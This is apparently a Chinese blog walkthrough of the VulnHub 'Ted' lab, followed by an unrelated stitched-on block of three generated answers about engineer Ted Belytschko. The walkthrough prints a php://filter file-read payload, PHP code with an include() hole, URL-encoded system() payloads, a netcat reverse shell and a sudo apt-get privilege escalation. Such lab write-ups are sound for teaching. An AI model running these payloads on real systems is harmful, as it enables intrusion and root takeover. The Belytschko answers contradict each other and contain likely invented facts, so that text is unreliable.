vulnhub-ted靶场

1.下载靶场:

https://download.vulnhub.com/ted/Ted.7zhttps://download.vulnhub.com/ted/Ted.7z2.解压然后用vm打开,网络改为桥接模式:

3.浏览器打开默认端口80:

 有一个登录框:

用户名是admin,密码也是admin,但是用了sha方式加密大写:

 登入之后,有一个文件搜索框:

没有sql注入,试一下文件读取:

还存在着一个authenticate.php文件,用php伪协议读取一下,结果用base64解码一下:

php://filter/read=convert.base64-encode/resource=authenticate.php

authenticate.php 

<?php

	session_start();

	$DATABASE_HOST = 'localhost';
	$DATABASE_USER = 'user';
	$DATABASE_PASS = 'password';
	$DATABASE_NAME = 'dbname';


	// Try and connect using the info above.
	$con = mysqli_connect($DATABASE_HOST, $DATABASE_USER, $DATABASE_PASS, $DATABASE_NAME);

	if ( mysqli_connect_errno() ) {
		// If there is an error with the connection, stop the script and display the error.
		die ('Failed to connect to MySQL: ' . mysqli_connect_error());
	}

	// Now we check if the data from the login form was submitted, isset() will check if the data exists.
	if ( !isset($_POST['username'], $_POST['password']) ) {
		// Could not get the data that should have been sent.
		header('Location: home.php');
	}

	// Prepare our SQL, preparing the SQL statement will prevent SQL injection.
	if ($stmt = $con->prepare('SELECT id, password FROM accounts WHERE username = ?')) {
		// Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s"
		$stmt->bind_param('s', $_POST['username']);
		$stmt->execute();
		// Store the result so we can check if the account exists in the database.
		$stmt->store_result();
	}

	if ($stmt->num_rows > 0) {
		$stmt->bind_result($id, $password);
		$stmt->fetch();
		// Account exists, now we verify the password.
		// Note: remember to use password_hash in your registration file to store the hashed passwords.
		if ($_POST['password'] ==  $password) {
			// Verification success! User has loggedin!
			// Create sessions so we know the user is logged in, they basically act like cookies but remember the data on the server.
			session_regenerate_id();
			$_SESSION['loggedin'] = TRUE;
			$_SESSION['name'] = $_POST['username'];
			$_SESSION['id'] = $id;

			setcookie('user_pref','/',time() + (86400 * 30), "/");

			header('Location: home.php');
		} elseif ($_POST['password'] == "admin") {
			echo "<p>Password hash is not correct, make sure to hash it before submit.</p>";
			header('Location: index.php');
		} else {
			echo "<p>Password or password hash is not correct, make sure to hash it before submit.</p>";
			header('Location: index.php');
		}
	} else {
		echo "<p>Username is not correct.</p>";
		header('Location: index.php');
	}
	$stmt->close();
?>

 home.php

<?php
	session_start();
	if (!isset($_SESSION['loggedin'])) {
		header('Location: index.html');
		exit();
	}
	$_SESSION['user_pref'] = $_COOKIE['user_pref'];
?>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>Home Page</title>
		<link href="style.css" rel="stylesheet" type="text/css">
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
	</head>
	<body class="loggedin">
		<nav class="navtop">
			<div>
				<h1>Simple File Browser</h1>
				<a href="logout.php">Logout</a>
			</div>
		</nav>
		<div class="content">
			<h2>Home</h2>
			<p>Welcome back, <?=$_SESSION['name'];?>!</p>
			<br>
			<div class="inner_content">
    				<form method="post" action="home.php">
      					<input type="text" id="search" name"search" placeholder="Search.." name="search">
	      				<button type="submit">Search</button>
    				</form>
				<br>
				<br>
				<?php 
					if (isset($_POST['search'])) {
						echo "Showing results for ".$_POST['search'].":";
						echo "<br>";
						echo "<br>";
						echo "<br>";
						echo "<br>";
						echo "<br>";
						echo "<br>";
						echo "<br>";
						echo "<br>";
					} 
					include($_POST['search']);
				?>
			</div>
			
			<a href="cookie.php">Cookies Policy</a>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<br>
			<center>avrahamcohen.ac@gmail.com</center>
		</div>
	</body>
</html>

$_SESSION['user_pref'] = $_COOKIE['user_pref'];

可以使用cookie中的user_pref字段写入session文件或者直接执行命令:


<?php system("uname -a")>  
url编码:
%3C?php%20system(%22uname%20-a%22)?%3E

可以写入webshell,或者nc反弹:

<?php system(“nc -e /bin/bash ip 4444”) ?>
url编码:
%3C?php%20system(%22nc%20-e%20/bin/bash%20ip%204444%22)%C2%A0?%3E

反弹成功:

用apt命令提权:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

 ok。

### 回答1: Ted Belytschko(泰德·贝尔伊奇科)是一位享誉全球的工程力学领域的权威学者。他是美国北西大学(Northwestern University)的教授,也是其应用力学系主任。他曾在斯坦福大学、加利福尼亚大学伯克利分校和南加州大学等多所知名大学担任过学术职务,并曾担任过现代计算力学领域的权威期刊“国际计算方法和事实杂志”的主编。 Ted Belytschko在计算力学领域做出了卓越的贡献,他的研究涉及材料力学、复合材料建模、结构动力学、颗粒流体力学等方面。他创立了基于有限元方法的新型有限元技术,如X-FEM和LS-FEM,领导开发了新型软件和仿真工具Graduate Program in Mechanics和CESAR。他还曾因其在计算力学中的杰出贡献而获得了多个荣誉和奖项,包括美国科学院院士、美国机械工程师学会(ASME)Robert Henry Thurston Lecture Award等。 Ted Belytschko培养了许多优秀的学者和工程师,影响了许多人的思想和行动。他还经常参与学术和工业界的顶级会议,并积极担任各类学术工作。Ted Belytschko是工程力学领域的杰出代表,他为这个领域的发展和推动作出了不可磨灭的贡献。 ### 回答2: Ted Belytschko是一位美国工程学家,其主要领域为计算力学和有限元法。他在这两个领域都有着卓越的成就和贡献。 Belytschko是有限元法中非线性动力学的先驱之一。他的工作在许多行业中都有应用,包括航空航天、汽车工程、建筑工程和生物医学工程等。Belytschko提出的新的有限元方法和弹性性能的计算方法得到了广泛的认可,这些方法被称为Belytschko-Tsai-Jar. 方法和Belytschko-Lin-Tsay 方法。这些方法在多孔介质模拟、失稳现象、复杂动态系统和运动仿真中都有重要应用。 除此之外,Belytschko还在计算力学中开发了许多新颖的方法,包括曲线剖分法、虚拟区域方法和分形技术等。他在1984年还发明了一个新的物理现象——超声波剥离,这个现象在纳米科技中有重要的应用。 总体来说,Belytschko对计算力学和有限元法做出了重要的贡献,同时他的研究也在工业和科学领域具有广泛的应用。 ### 回答3: Ted Belytschko(1941年-2014年)是一位著名的工程与应用数学家,在数值计算方法和计算力学领域有着极高的地位和威望。他生于德国,成长于美国,是伊利诺伊大学厄巴纳-香槟分校工程力学系(UEL)的创始人之一,同时也在南加州大学、麻省理工学院和新加坡国立大学担任过学术职务。Belytschko的学术研究涵盖了诸多领域,其代表性成果包括有限元方法的创新型发展,分形结构的应用、材料多尺度建模等。在计算机模拟技术方面,他率先提出了基于动态显式数值积分形式的材料和纤维复合材料动力学分析方法,并大大推动了现代计算方法的发展。Belytschko是美国工程院、加拿大皇家科学院、欧洲科学院等多个国际著名学术机构和组织的成员,曾获得Timoshenko Medal、von Karman Medal、Poncelet Prize等重要荣誉。他的学生和合作者中不乏知名的数值计算和计算力学专家,例如Arif Masud, Wing Kam Liu,Tinsley Oden等。Belytschko在学术界和工业界都享有极高的声誉和影响力,被誉为材料数值计算和连续体力学方面的杰出贡献者,对于计算方法的研究和应用产生了深远的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值